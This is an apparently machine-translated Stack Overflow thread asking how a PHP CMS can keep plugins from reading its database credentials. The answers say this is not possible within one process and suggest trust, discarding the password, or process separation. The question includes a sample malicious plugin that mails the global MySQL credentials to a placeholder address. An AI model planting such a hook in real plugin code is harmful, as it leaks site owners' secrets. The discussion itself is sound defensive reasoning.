保护变量免于在php中窃取

时间:2012-05-01 17:23:42

标签: php security plugins content-management-system

我有一个问题,这个问题在很长一段时间后都在我脑海中浮现。 我正在进行CMS项目,我真的不知道如何做到这一点: 我希望这个cms可以通过使用插件系统进行修改,直到现在都没有什么困难。 好吧,我现在有这个问题我怎样才能保护像管理员用户的mysql密码一样的变量/常量? 例如,在文件settings.php中我有

$mysql = array("user" => "admin"...);

如何让课程不读? 一个简单的类(插件)可以做

class myplugin extends plugin_container {
function badfunction() {
mail("my bad address", "data stolen", $GLOBALS["mysql"]);
}

以这种方式,一个简单的插件可以窃取用户的敏感数据。我该如何解决这个问题?

4 个答案:

答案 0 :(得分:3)

您无法...插件可以执行代码,您无法控制该代码。

然而,您可以逐个批准该插件,以避免出现问题。

答案 1 :(得分:2)

你不能在PHP中真正做到这一点。你可以将varible放在一个对象中,使其成为私有的,但是使用Reflection,其他代码也可以获得它。地狱,即使它不能,仍然有办法让你不应该得到对象的内部,比如var_dumpdebug_zval_dump等等。

我建议:

  • 连接数据库后丢弃密码(并在连接后加载模块
  • 将它存储在除内存之外的其他地方(配置文件),但这并没有解决任何问题,因为插件仍然可以访问该配置文件
  • 放弃并说“模块受信任” - 这可能就是所有CMS所做的事情
  • 一些更奇怪的方法 - 沙盒模块,运行具有删除的unix权限的单独进程,虚拟化它们......我猜这些都没有实际用处

通常,当您的代码在某些上下文中运行时(例如在PHP脚本中)并且您希望允许某些模块或插件在相同的上下文中运行,则无法隐藏任何内容。该插件可以访问相同的内存(所有变量),所有开放资源(数据库连接),并且它基本上与该上下文中的任何其他代码无法区分。这同样适用于许多其他环境,例如在OS中运行的本机进程。当然,你可以让“更难”获得一些变量或资源,但你永远无法确保无法访问它。除非您在不同的上下文中运行其他代码(其他进程,虚拟化......)。

答案 2 :(得分:1)

虽然您可以尝试将$ mysql的范围更改为某个本地范围 - 通过调用如下函数来获取数据:     function mySafeBox(){          return $ mysql;     } 现在,插件代码无法从$ _GLOBALS访问它,但是这样做没有意义......因为你依靠插件使用它...这样,你无法找到一个好的解决方案'这个从未存在过的问题

答案 3 :(得分:0)

PHP不提供内部安全边界设施。大多数语言都是这样的;一个例外是Java。

因此,如果您想在PHP脚本中构建信任边界,则必须通过操作系统级权限分离机制来实现:在具有较低权限的单独用户主体下运行进程,并使用管道进行通信那和主要的可信应用程序。这将需要加载一些不适合通常的PHP调用模型的架构返工。